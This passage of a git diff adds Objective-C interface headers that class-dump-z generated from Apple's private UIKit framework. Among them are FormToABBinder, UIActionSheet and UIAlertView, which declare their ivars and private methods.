inFrame:(id)frame form:(id)form; ++(int)indexOfItemInSelectElement:(id)selectElement forSynonyms:(id)synonyms; ++(id)radioButtonGroupContaining:(id)containing inFormElements:(id)formElements; ++(int)indexOfItemInRadioButtonGroup:(id)radioButtonGroup forSynonyms:(id)synonyms; ++(id)fieldNameForAutoFillOfControl:(id)control rep:(id)rep respectHTMLAutocompleteAttribute:(BOOL)attribute; +-(id)init; +-(void)dealloc; +-(id)visibleControlsInForm; +-(void)_scanElements; +-(int)formType; +-(id)usernameElement; +-(id)passwordElement; +-(int)_itemInSelectElement:(id)selectElement forMatch:(id)match; +-(id)_decomposeStreetAddress:(id)address style:(int)style; +-(void)_insertABValue:(id)value inTextFieldElement:(id)textFieldElement match:(id)match fieldName:(id)name; +-(int)_reflectMultiFieldMatch:(id)match inControls:(id)controls currIndex:(unsigned)index fieldName:(id)name isPhoneNumber:(BOOL)number; +-(int)_reflectAutoFillMatch:(id)match inControls:(id)controls currIndex:(int)index fieldName:(id)name; +-(BOOL)hasAutoFilled; +-(BOOL)autoFill; +-(void)autoFillAddressStartingAtControl:(id)control match:(id)match; +-(int)autoFillPhoneOrZipStartingAtControl:(id)control match:(id)match; +-(void)recordABMatch:(id)match fieldName:(id)name; +-(void)recordABContinuationField:(id)field; +-(void)clearAutoFilledTextField:(id)field; +@end + diff --git a/igor/headers/dumpedUIKit/FormToABBinder.h b/igor/headers/dumpedUIKit/FormToABBinder.h new file mode 100644 index 0000000..1a687a1 --- /dev/null +++ b/igor/headers/dumpedUIKit/FormToABBinder.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSDictionary, NSArray; + +__attribute__((visibility("hidden"))) +@interface FormToABBinder : NSObject { +@private + NSDictionary* _abPointers; + NSArray* _fieldLabels; + NSDictionary* _synonyms; +} ++(void)loadBinders; ++(void)clearBinders; ++(id)abPointerForControl:(id)control rep:(id)rep useFieldName:(BOOL)name; ++(id)synonymsForMatch:(id)match; +-(void)_indexMapping:(id)mapping; +-(id)initWithPath:(id)path; +-(void)dealloc; +-(id)abPointerForControl:(id)control rep:(id)rep useFieldName:(BOOL)name foundByPageScan:(BOOL*)scan; +-(id)synonymsForMatch:(id)match; +@end + diff --git a/igor/headers/dumpedUIKit/InlineCandidateCell.h b/igor/headers/dumpedUIKit/InlineCandidateCell.h new file mode 100644 index 0000000..68b4044 --- /dev/null +++ b/igor/headers/dumpedUIKit/InlineCandidateCell.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString, UIFont; + +__attribute__((visibility("hidden"))) +@interface InlineCandidateCell : UIView { +@private + NSString* _candidate; + unsigned _index; + UIFont* _font; + CGSize _stringImageSize; + BOOL _highlighted; + id _target; + SEL _action; + BOOL _lastItem; + BOOL _dontDrawRightEdge; +} +-(id)initWithCandidate:(id)candidate andIndex:(unsigned)index withFontSize:(float)fontSize target:(id)target action:(SEL)action; +-(void)dealloc; +-(CGSize)stringImageSize; +-(unsigned)index; +-(void)dontDrawRightEdge:(BOOL)edge; +-(void)setLastItem:(BOOL)item; +-(BOOL)ignoresMouseEvents; +-(void)setHighlighted:(BOOL)highlighted; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/KBCandidateCell.h b/igor/headers/dumpedUIKit/KBCandidateCell.h new file mode 100644 index 0000000..f0b239d --- /dev/null +++ b/igor/headers/dumpedUIKit/KBCandidateCell.h @@ -0,0 +1,43 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface KBCandidateCell : UIView { +@private + NSString* _candidate; + unsigned _index; + CGSize _stringImageSize; + BOOL _isLastInLine; + BOOL _highlighted; + float _atBottom; + id _target; + SEL _action; + BOOL _drawDone; + BOOL _stringMayBeTooLong; +} ++(id)font; +-(id)initWithCandidate:(id)candidate andIndex:(unsigned)index target:(id)target action:(SEL)action; +-(void)dealloc; +-(CGSize)stringImageSize; +-(unsigned)index; +-(void)setGap:(float)gap; +-(float)dividorOriginX; +-(void)setLastInLine:(BOOL)line; +-(void)setStringMayBeTooLong:(BOOL)aLong; +-(void)setAtBottom:(BOOL)bottom; +-(void)drawRect:(CGRect)rect; +-(void)setHighlighted:(BOOL)highlighted; +-(void)selected; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesEnded:(id)ended withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/NSCoding.h b/igor/headers/dumpedUIKit/NSCoding.h new file mode 100644 index 0000000..e69de29 diff --git a/igor/headers/dumpedUIKit/NSObject.h b/igor/headers/dumpedUIKit/NSObject.h new file mode 100644 index 0000000..e69de29 diff --git a/igor/headers/dumpedUIKit/Romakana.h b/igor/headers/dumpedUIKit/Romakana.h new file mode 100644 index 0000000..faf694a --- /dev/null +++ b/igor/headers/dumpedUIKit/Romakana.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +@interface Romakana : NSObject { + BOOL _kanaMode; +} ++(id)oneKanaToRoma:(id)roma; ++(id)hiraganaString:(id)string withKanaMode:(BOOL)kanaMode; ++(id)hiraganaString:(id)string mappingArray:(id)array withKanaMode:(BOOL)kanaMode; +-(id)initWithKanaMode:(BOOL)kanaMode; +-(id)roma2hiragana:(id)hiragana stripIncompleteRomajiAtEnd:(BOOL)end; +-(id)roma2katakana:(id)katakana; +@end + diff --git a/igor/headers/dumpedUIKit/UI9PartImageView.h b/igor/headers/dumpedUIKit/UI9PartImageView.h new file mode 100644 index 0000000..efdd693 --- /dev/null +++ b/igor/headers/dumpedUIKit/UI9PartImageView.h @@ -0,0 +1,33 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +@interface UI9PartImageView : UIView { + UIView* _topLeft; + UIView* _topMiddle; + UIView* _topRight; + UIView* _middleLeft; + UIView* _middleMiddle; + UIView* _middleRight; + UIView* _bottomLeft; + UIView* _bottomMiddle; + UIView* _bottomRight; + XXStruct_4cr1oD _slices; + UIImage* _image; + unsigned _dontReflow : 1; +} +-(id)initWithFrame:(CGRect)frame image:(id)image slices:(XXStruct_4cr1oD)slices; +-(void)dealloc; +-(void)rebuildTiles; +-(void)reflowTiles; +-(void)setFrame:(CGRect)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIAcceleration.h b/igor/headers/dumpedUIKit/UIAcceleration.h new file mode 100644 index 0000000..b2ebdde --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAcceleration.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +@interface UIAcceleration : NSObject { +@private + double timestamp; + double x; + double y; + double z; +} +@property(assign, nonatomic) double timestamp; +@property(assign, nonatomic) double x; +@property(assign, nonatomic) double y; +@property(assign, nonatomic) double z; +@end + diff --git a/igor/headers/dumpedUIKit/UIAccelerometer.h b/igor/headers/dumpedUIKit/UIAccelerometer.h new file mode 100644 index 0000000..55b6271 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAccelerometer.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@protocol UIAccelerometerDelegate; + +@interface UIAccelerometer : NSObject { +@private + double _updateInterval; + id _delegate; + struct { + unsigned style : 1; + unsigned reserved : 31; + } _accelerometerFlags; +} +@property(assign, nonatomic) double updateInterval; +@property(assign, nonatomic) id delegate; ++(id)sharedAccelerometer; +-(id)init; +-(void)_acceleratedInX:(double)x y:(double)y z:(double)z timestamp:(double)timestamp; +@end + diff --git a/igor/headers/dumpedUIKit/UIAccentedCharacterView.h b/igor/headers/dumpedUIKit/UIAccentedCharacterView.h new file mode 100644 index 0000000..4c366b8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAccentedCharacterView.h @@ -0,0 +1,45 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSArray, UIImage; + +@interface UIAccentedCharacterView : UIView { + NSArray* m_characters; + NSArray* m_caps; + unsigned m_count; + int m_expansion; + int m_orientation; + float m_stringWidth; + UIImage* m_tubeImage; + CGRect m_tubeRect; + UIImage* m_grabberImage; + CGRect m_grabberRect; + UIView* m_popupView; + UIView* m_selectedView; + unsigned m_selectedIndex; + BOOL m_dragged; + CGPoint m_dragPoint; +} +-(id)initWithFrame:(CGRect)frame variants:(id)variants expansion:(int)expansion orientation:(int)orientation; +-(void)dealloc; +-(void)setSelectedIndex:(int)index; +-(void)sendSelectedString; +-(unsigned)moveCharactersAndCapsToAltSide:(unsigned)altSide position:(unsigned)position expansion:(int)expansion; +-(BOOL)canHandleHandEvent:(GSEventRef)event; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIAccentedKeyCapStringView.h b/igor/headers/dumpedUIKit/UIAccentedKeyCapStringView.h new file mode 100644 index 0000000..ddaa14b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAccentedKeyCapStringView.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSArray; + +__attribute__((visibility("hidden"))) +@interface UIAccentedKeyCapStringView : UIView { +@private + BOOL m_selectedMode; + int m_expansion; + int m_orientation; + float m_stringWidth; + NSArray* m_caps; +} +-(void)dealloc; +-(void)setSelectedMode:(BOOL)mode; +-(void)setCaps:(id)caps; +-(void)setExpansion:(int)expansion; +-(void)setOrientation:(int)orientation; +-(void)setStringWidth:(float)width; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIAccessibilityElement.h b/igor/headers/dumpedUIKit/UIAccessibilityElement.h new file mode 100644 index 0000000..161c819 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAccessibilityElement.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSString; + +@interface UIAccessibilityElement : NSObject { +@private + id _storage; +} +@property(retain, nonatomic) NSString* accessibilityLabel; +@property(retain, nonatomic) NSString* accessibilityValue; +@property(retain, nonatomic) NSString* accessibilityHint; +@property(assign, nonatomic) CGRect accessibilityFrame; +@property(assign, nonatomic) unsigned long long accessibilityTraits; +@property(assign, nonatomic) BOOL isAccessibilityElement; +@property(assign, nonatomic) id accessibilityContainer; +-(id)initWithAccessibilityContainer:(id)accessibilityContainer; +@end + diff --git a/igor/headers/dumpedUIKit/UIActionSheet.h b/igor/headers/dumpedUIKit/UIActionSheet.h new file mode 100644 index 0000000..1acf005 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIActionSheet.h @@ -0,0 +1,216 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIActionSheet.h" + +@class UILabel, NSString, UIWindow, NSMutableArray, UIToolbar; +@protocol UIActionSheetDelegate; + +@interface UIActionSheet : UIView { +@private + id _delegate; + UILabel* _titleLabel; + UILabel* _subtitleLabel; + UILabel* _bodyTextLabel; + UILabel* _taglineTextLabel; + float _startY; + id _context; + int _cancelButton; + int _defaultButton; + int _firstOtherButton; + UIToolbar* _toolbar; + UIWindow* _originalWindow; + UIWindow* _dimWindow; + int _suspendTag; + int _dismissButtonIndex; + float _bodyTextHeight; + NSMutableArray* _buttons; + NSMutableArray* _textFields; + UIView* _keyboard; + UIView* _table; + UIView* _buttonTableView; + UIView* _dimView; + struct { + unsigned numberOfRows : 7; + unsigned delegateAlertSheetButtonClicked : 1; + unsigned delegateDidPresentAlertSheet : 1; + unsigned delegateDidDismissAlertSheet : 1; + unsigned hideButtonBar : 1; + unsigned alertStyle : 3; + unsigned dontDimBackground : 1; + unsigned dismissSuspended : 1; + unsigned dontBlockInteraction : 1; + unsigned sheetWasPoppedUp : 1; + unsigned sheetWasShown : 1; + unsigned animating : 1; + unsigned hideWhenDoneAnimating : 1; + unsigned layoutWhenDoneAnimating : 1; + unsigned titleMaxLineCount : 2; + unsigned bodyTextMaxLineCount : 3; + unsigned runsModal : 1; + unsigned runningModal : 1; + unsigned addedTextView : 1; + unsigned addedTableShadows : 1; + unsigned showOverSBAlerts : 1; + unsigned showMinTableContent : 1; + unsigned bodyTextTruncated : 1; + unsigned orientation : 3; + unsigned delegateBodyTextAlignment : 1; + unsigned delegateClickedButtonAtIndex : 1; + unsigned delegateClickedButtonAtIndex2 : 1; + unsigned delegateCancel : 1; + unsigned delegateCancel2 : 1; + unsigned delegateWillPresent : 1; + unsigned delegateWillPresent2 : 1; + unsigned delegateDidPresent : 1; + unsigned delegateDidPresent2 : 1; + unsigned delegateWillDismiss : 1; + unsigned delegateWillDismiss2 : 1; + unsigned delegateDidDismiss : 1; + unsigned delegateDidDismiss2 : 1; + } _modalViewFlags; + int _actionSheetStyle; +} +@property(readonly, assign, nonatomic, getter=isVisible) BOOL visible; +@property(readonly, assign, nonatomic) int firstOtherButtonIndex; +@property(assign, nonatomic) int destructiveButtonIndex; +@property(assign, nonatomic) int cancelButtonIndex; +@property(readonly, assign, nonatomic) int numberOfButtons; +@property(assign, nonatomic) int actionSheetStyle; +@property(copy, nonatomic) NSString* title; +@property(assign, nonatomic) id delegate; +-(id)initWithTitle:(id)title message:(id)message delegate:(id)delegate defaultButton:(id)button cancelButton:(id)button5 otherButtons:(id)buttons; +-(void)dealloc; +-(void)setMessage:(id)message; +-(id)message; +-(int)addButtonWithTitle:(id)title; +-(id)buttonTitleAtIndex:(int)index; +-(void)setDefaultButtonIndex:(int)index; +-(int)defaultButtonIndex; +-(void)_setFirstOtherButtonIndex:(int)index; +-(void)dismissWithClickedButtonIndex:(int)clickedButtonIndex animated:(BOOL)animated; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithTitle:(id)title delegate:(id)delegate cancelButtonTitle:(id)title3 destructiveButtonTitle:(id)title4 otherButtonTitles:(id)titles; +-(void)showInView:(id)view; +-(void)showFromToolbar:(id)toolbar; +-(void)showFromTabBar:(id)tabBar; +@end + +@interface UIActionSheet (Private) ++(CGSize)minimumSize; ++(id)_popupAlertBackground; +-(id)initWithTitle:(id)title buttons:(id)buttons defaultButtonIndex:(int)index delegate:(id)delegate context:(id)context; +-(BOOL)requiresPortraitOrientation; +-(int)_currentOrientation; +-(void)_setAlertSheetStyleFromButtonBar:(id)buttonBar; +-(id)buttons; +-(void)_createTitleLabelIfNeeded; +-(void)_createSubtitleLabelIfNeeded; +-(void)_createBodyTextLabelIfNeeded; +-(void)_createTaglineTextLabelIfNeeded; +-(void)_setupTitleStyle; +-(void)setBodyText:(id)text; +-(void)setTaglineText:(id)text; +-(void)setSubtitle:(id)subtitle; +-(id)subtitle; +-(id)bodyText; +-(void)setTitleMaxLineCount:(int)count; +-(int)titleMaxLineCount; +-(void)setBodyTextMaxLineCount:(int)count; +-(int)bodyMaxLineCount; +-(id)addTextFieldWithValue:(id)value label:(id)label; +-(id)textFieldAtIndex:(int)index; +-(int)textFieldCount; +-(id)textField; +-(void)_alertSheetTextFieldReturn:(id)aReturn; +-(id)keyboard; +-(void)setDefaultButton:(id)button; +-(id)defaultButton; +-(void)setDestructiveButton:(id)button; +-(id)destructiveButton; +-(id)_addButtonWithTitle:(id)title label:(id)label buttonClass:(Class)aClass; +-(id)addButtonWithTitle:(id)title label:(id)label; +-(id)_addButtonWithTitle:(id)title; +-(id)addButtonWithTitle:(id)title buttonClass:(Class)aClass; +-(id)buttonAtIndex:(int)index; +-(id)_titleLabel; +-(int)buttonCount; +-(void)setContext:(id)context; +-(id)context; +-(void)_buttonClicked:(id)clicked; +-(void)_cleanupAfterPopupAnimation; +-(void)setTableShouldShowMinimumContent:(BOOL)showMinimumContent; +-(BOOL)tableShouldShowMinimumContent; +-(id)table; +-(BOOL)_needsKeyboard; +-(void)setShowsOverSpringBoardAlerts:(BOOL)alerts; +-(BOOL)showsOverSpringBoardAlerts; +-(void)_performPopup:(BOOL)popup; +-(void)_growAnimationDidStop:(id)_growAnimation finished:(id)finished; +-(void)_bubbleAnimationShrinkDidStop:(id)_bubbleAnimationShrink finished:(id)finished; +-(void)_bubbleAnimationNormalDidStop:(id)_bubbleAnimationNormal finished:(id)finished; +-(BOOL)_isAnimating; +-(void)_popoutAnimationDidStop:(id)_popoutAnimation finished:(id)finished; +-(void)_performPopoutAnimationAnimated:(BOOL)animated; +-(void)_repopup; +-(BOOL)_dimsBackground; +-(BOOL)_canShowAlerts; +-(void)_removeAlertWindowOrShowAnOldAlert; +-(void)_temporarilyHideAnimated:(BOOL)animated; +-(void)_setupInitialFrame; +-(void)_rotatingAnimationDidStop:(id)_rotatingAnimation; +-(void)layoutAnimated:(BOOL)animated; +-(BOOL)isBodyTextTruncated; +-(void)_layoutPopupAlertWithOrientation:(int)orientation animated:(BOOL)animated; +-(void)_layoutIfNeeded; +-(void)_adjustLabelFontSizes; +-(void)popupAlertAnimated:(BOOL)animated atOffset:(float)offset; +-(void)popupAlertAnimated:(BOOL)animated; +-(void)_presentSheetFromView:(id)view above:(BOOL)above; +-(void)presentSheetFromBehindView:(id)behindView; +-(void)presentSheetFromAboveView:(id)aboveView; +-(void)presentSheetInView:(id)view; +-(void)presentSheetToAboveView:(id)aboveView; +-(void)setDimView:(id)view; +-(id)_dimView; +-(void)_presentSheetStartingFromYCoordinate:(double)ycoordinate; +-(void)_slideSheetOut:(BOOL)anOut; +-(void)dismiss; +-(void)dismissAnimated:(BOOL)animated; +-(CGSize)backgroundSize; +-(float)_titleVerticalTopInset; +-(float)_titleVerticalBottomInset; +-(float)_titleHorizontalInset; +-(float)_bottomVerticalInset; +-(void)drawRect:(CGRect)rect; +-(void)_appSuspended:(id)suspended; +-(void)_alertSheetAnimationDidStop:(id)_alertSheetAnimation finished:(id)finished; +-(void)setNumberOfRows:(int)rows; +-(int)numberOfRows; +-(int)alertSheetStyle; +-(void)setAlertSheetStyle:(int)style; +-(void)setDimsBackground:(BOOL)background; +-(BOOL)dimsBackground; +-(void)setSuspendTag:(int)tag; +-(int)suspendTag; +-(void)setBlocksInteraction:(BOOL)interaction; +-(BOOL)blocksInteraction; +-(void)setRunsModal:(BOOL)modal; +-(BOOL)runsModal; +-(CGRect)titleRect; +-(float)_maxHeight; +-(float)_buttonHeight; +-(int)numberOfLinesInTitle; +-(void)layout; +-(int)tableView:(id)view numberOfRowsInSection:(int)section; +-(id)tableView:(id)view cellForRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view didSelectRowAtIndexPath:(id)indexPath; +-(void)presentSheetFromButtonBar:(id)buttonBar; +@end + diff --git a/igor/headers/dumpedUIKit/UIActionSheetDelegate.h b/igor/headers/dumpedUIKit/UIActionSheetDelegate.h new file mode 100644 index 0000000..7b37cd5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIActionSheetDelegate.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UIActionSheetDelegate +@optional +-(void)actionSheet:(id)sheet clickedButtonAtIndex:(int)index; +-(void)actionSheetCancel:(id)cancel; +-(void)willPresentActionSheet:(id)sheet; +-(void)didPresentActionSheet:(id)sheet; +-(void)actionSheet:(id)sheet willDismissWithButtonIndex:(int)buttonIndex; +-(void)actionSheet:(id)sheet didDismissWithButtonIndex:(int)buttonIndex; +@end + diff --git a/igor/headers/dumpedUIKit/UIActivityIndicatorView.h b/igor/headers/dumpedUIKit/UIActivityIndicatorView.h new file mode 100644 index 0000000..848d038 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIActivityIndicatorView.h @@ -0,0 +1,46 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIActivityIndicatorView.h" +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIView.h" + + +@interface UIActivityIndicatorView : UIView { +@private + double _duration; + BOOL _animating; + int _activityIndicatorViewStyle; + BOOL _hidesWhenStopped; +} +@property(assign, nonatomic) int activityIndicatorViewStyle; +@property(assign, nonatomic) BOOL hidesWhenStopped; ++(void)_loadResourcesForStyle:(int)style; ++(CGSize)defaultSizeForStyle:(int)style; ++(CGSize)size; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithActivityIndicatorStyle:(int)activityIndicatorStyle; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)startAnimating; +-(void)stopAnimating; +-(BOOL)isAnimating; +-(void)setAnimationDuration:(double)duration; +-(void)_didMoveFromWindow:(id)window toWindow:(id)window2; +-(void)setStyle:(int)style; +-(void)setAnimating:(BOOL)animating; +-(void)startAnimation; +-(void)stopAnimation; +@end + +@interface UIActivityIndicatorView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIAlertSheetTableCell.h b/igor/headers/dumpedUIKit/UIAlertSheetTableCell.h new file mode 100644 index 0000000..eb52d3d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAlertSheetTableCell.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIImageAndTextTableCell.h" + + +@interface UIAlertSheetTableCell : UIImageAndTextTableCell { +} +-(id)initWithFrame:(CGRect)frame; +-(void)setBackgroundColor:(id)color; +-(void)updateHighlightColors; +-(void)drawSeparatorInRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIAlertSheetTextField.h b/igor/headers/dumpedUIKit/UIAlertSheetTextField.h new file mode 100644 index 0000000..e151174 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAlertSheetTextField.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextField.h" +#import "UIKit-Structs.h" + +@class UIThreePartImageView; + +__attribute__((visibility("hidden"))) +@interface UIAlertSheetTextField : UITextField { +@private + UIThreePartImageView* _sheetBackgroundView; +} +-(void)dealloc; +-(void)setBackgroundView:(id)view; +-(id)backgroundView; +@end + diff --git a/igor/headers/dumpedUIKit/UIAlertTextView.h b/igor/headers/dumpedUIKit/UIAlertTextView.h new file mode 100644 index 0000000..6e1fb44 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAlertTextView.h @@ -0,0 +1,16 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextView.h" + + +__attribute__((visibility("hidden"))) +@interface UIAlertTextView : UITextView { +} +-(BOOL)canBecomeFirstResponder; +@end + diff --git a/igor/headers/dumpedUIKit/UIAlertView.h b/igor/headers/dumpedUIKit/UIAlertView.h new file mode 100644 index 0000000..d8cd951 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAlertView.h @@ -0,0 +1,226 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" +#import "UIAlertView.h" + +@class UILabel, NSString, UIWindow, NSMutableArray, UIToolbar; +@protocol UIAlertViewDelegate; + +@interface UIAlertView : UIView { +@private + id _delegate; + UILabel* _titleLabel; + UILabel* _subtitleLabel; + UILabel* _bodyTextLabel; + UILabel* _taglineTextLabel; + float _startY; + CGPoint _center; + id _context; + int _cancelButton; + int _defaultButton; + int _firstOtherButton; + UIToolbar* _toolbar; + UIWindow* _originalWindow; + UIWindow* _dimWindow; + int _suspendTag; + int _dismissButtonIndex; + float _bodyTextHeight; + NSMutableArray* _buttons; + NSMutableArray* _textFields; + UIView* _keyboard; + UIView* _table; + UIView* _dimView; + struct { + unsigned numberOfRows : 7; + unsigned delegateAlertSheetButtonClicked : 1; + unsigned delegateDidPresentAlertSheet : 1; + unsigned delegateDidDismissAlertSheet : 1; + unsigned hideButtonBar : 1; + unsigned alertStyle : 3; + unsigned dontDimBackground : 1; + unsigned dismissSuspended : 1; + unsigned dontBlockInteraction : 1; + unsigned sheetWasPoppedUp : 1; + unsigned animating : 1; + unsigned hideWhenDoneAnimating : 1; + unsigned layoutWhenDoneAnimating : 1; + unsigned titleMaxLineCount : 2; + unsigned bodyTextMaxLineCount : 3; + unsigned runsModal : 1; + unsigned runningModal : 1; + unsigned addedTextView : 1; + unsigned addedTableShadows : 1; + unsigned showOverSBAlerts : 1; + unsigned showMinTableContent : 1; + unsigned bodyTextTruncated : 1; + unsigned orientation : 3; + unsigned groupsTextFields : 1; + unsigned includesCancel : 1; + unsigned useUndoStyle : 1; + unsigned delegateBodyTextAlignment : 1; + unsigned delegateClickedButtonAtIndex : 1; + unsigned delegateClickedButtonAtIndex2 : 1; + unsigned delegateCancel : 1; + unsigned delegateCancel2 : 1; + unsigned delegateWillPresent : 1; + unsigned delegateWillPresent2 : 1; + unsigned delegateDidPresent : 1; + unsigned delegateDidPresent2 : 1; + unsigned delegateWillDismiss : 1; + unsigned delegateWillDismiss2 : 1; + unsigned delegateDidDismiss : 1; + unsigned delegateDidDismiss2 : 1; + } _modalViewFlags; +} +@property(readonly, assign, nonatomic, getter=isVisible) BOOL visible; +@property(readonly, assign, nonatomic) int firstOtherButtonIndex; +@property(assign, nonatomic) int cancelButtonIndex; +@property(readonly, assign, nonatomic) int numberOfButtons; +@property(copy, nonatomic) NSString* message; +@property(copy, nonatomic) NSString* title; +@property(assign, nonatomic) id delegate; +-(id)initWithTitle:(id)title message:(id)message delegate:(id)delegate defaultButton:(id)button cancelButton:(id)button5 otherButtons:(id)buttons; +-(void)dealloc; +-(int)addButtonWithTitle:(id)title; +-(id)buttonTitleAtIndex:(int)index; +-(void)setDefaultButtonIndex:(int)index; +-(int)defaultButtonIndex; +-(void)_setFirstOtherButtonIndex:(int)index; +-(void)dismissWithClickedButtonIndex:(int)clickedButtonIndex animated:(BOOL)animated; +-(id)initWithTitle:(id)title message:(id)message delegate:(id)delegate cancelButtonTitle:(id)title4 otherButtonTitles:(id)titles; +-(id)initWithFrame:(CGRect)frame; +-(void)showWithAnimationType:(int)animationType; +-(void)show; +-(void)_useUndoStyle:(BOOL)style; +@end + +@interface UIAlertView (Private) ++(CGSize)minimumSize; ++(id)_alertWindow; ++(id)_popupAlertBackground:(BOOL)background; +-(id)initWithTitle:(id)title buttons:(id)buttons defaultButtonIndex:(int)index delegate:(id)delegate context:(id)context; +-(BOOL)groupsTextFields; +-(void)setGroupsTextFields:(BOOL)fields; +-(BOOL)requiresPortraitOrientation; +-(int)_currentOrientation; +-(void)_setAlertSheetStyleFromButtonBar:(id)buttonBar; +-(id)buttons; +-(void)_createTitleLabelIfNeeded; +-(void)_createSubtitleLabelIfNeeded; +-(void)_createBodyTextLabelIfNeeded; +-(void)_createTaglineTextLabelIfNeeded; +-(void)_setupTitleStyle; +-(void)setBodyText:(id)text; +-(void)setTaglineText:(id)text; +-(void)setSubtitle:(id)subtitle; +-(id)subtitle; +-(id)bodyText; +-(void)setTitleMaxLineCount:(int)count; 